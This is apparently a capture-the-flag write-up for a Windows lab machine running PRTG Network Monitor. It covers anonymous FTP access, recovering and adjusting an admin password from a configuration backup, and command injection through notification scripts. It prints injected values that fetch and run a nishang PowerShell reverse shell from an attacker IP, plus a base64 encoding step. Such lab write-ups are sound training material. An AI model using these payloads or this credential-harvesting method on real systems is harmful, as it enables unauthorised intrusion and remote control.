**Netmon**

Difficulty: Easy

OS: Windows

**Nmap**

Using nmap, we find a couple ports are open. We see nmap FTP scripts picked up anonymous login is available for us which will be our first step in enumeration.

|  |
| --- |

**FTP Enumeration**

Anonymously logging into FTP, we are able to access the server’s directories, but we are limited to whatever the FTP user can view. Here we are able to get user.txt.

|  |
| --- |

Looking through some files, we do not find anything too interesting. Next best idea is to check out the web server on port 80

**PRTG**

Going to the web server, we are presented with PRTG. Looking at the page source, we find the version is 18.1.37.13946.

|  |
| --- |

Googling the version, we are unable to find a good vulnerability for us to use in order to gain a shell or other access.

Taking a step back, we know we have FTP access to the server’s files. We may be able to locate PRTG’s file location and find something useful there. Researching for this, we find the files are stored in: “%programfiles%\PRTG Network Monitor” or “programfiles (x86)” depending on the architecture. Testing this out, we find the PRTG directory under “program files (x96)” and are able to access them.

|  |
| --- |

There seems to be nothing useful here even though there is a lot. Researching a little more, we find out there is another place that PRTG stores data in. This is “%programdata%\Paessler\PRTG Network Monitor”

Going to this directory, we find the PRTG files.

|  |
| --- |

**NOTE:** “ProgramFiles” was hidden.

Investigating this PRTG directory, we see a backup file. Backup files are always interesting as they may contain credentials.

|  |
| --- |

Using FTP’s “GET” command, we are able to download the backup along with the “.dat” and “.old” files.

Doing some quick grep enumeration, we find a username and password.

| *grep -i password "PRTG Configuration.old.bak" -A4 -B4 | sed 's/ //g' | sort -u | less* |
| --- |

The grep command above looks for “password” without regarding case sensitivity while also showing the previous 4 and succeeding 4 lines. This is sent over to sed which removes all spaces. Afterwards, we sort by the most unique cases and finally send the output to less for us to look at.

Going back to the PRTG web page, we attempt to log in but we are unable to. Testing around a little, we are unable to log in anywhere. Although the password does not work as it was found, it may have changed to something similar. Doing this on the year on the password, we find the actual password is “**PrTg@dmin2019**” and are authenticated into the PRTG network monitor.

|  |
| --- |

Going back to our initial PRTG research, there was a CVE vulnerability that required a login to PRTG. Going back to this, we see the application is vulnerable to code execution through notification scripts. This article describes how the vulnerability was found and what it does:

<https://www.codewatch.org/blog/?p=453>

We first need to find where we can access notifications. Going to “Setup” on the top right of the PRTG manager, we find a screen that has two notification directories.

|  |
| --- |

Clicking on the one to the right gives us what we want.

|  |
| --- |

Selecting one of these tickets and scrolling down, we find the “execute” capability.

|  |
| --- |

Looking at the article, we must select one of the demo program files to inject into. We will do the “.ps1” file. As for the script we want to run, we are going to test out ping. First we will put a random file that may or may not exist, then pipe into our own command.

| *test.txt | ping -n 1 10.10.14.34* |
| --- |

Setting this up along with tcpdump, then initializing the script, we get a response back, meaning we have code execution.

|  |
| --- |

Doing our standard nishang reverse shell procedure, we execute the following:

| *Test.txt | iex(new-object net.webclient).downloadstring('http://10.10.14.34:8000/Invoke-PowerShellTcp.ps1')* |
| --- |

Waiting for a response, we never receive one. The article we are following mentioned bad characters and we may have a couple in ours. To get around this, we can base64 encode our script. We also need to UTF encode whatever we pass in as input. This is the way windows formats files. Doing all this, we get our encoded script.

| echo -n "iex(new-object net.webclient).downloadstring('http://10.10.14.34:8000/Invoke-PowerShellTcp.ps1')" | iconv -t UTF-16LE | base64 -w0 |
| --- |

Executing this, we get root.

|  |
| --- |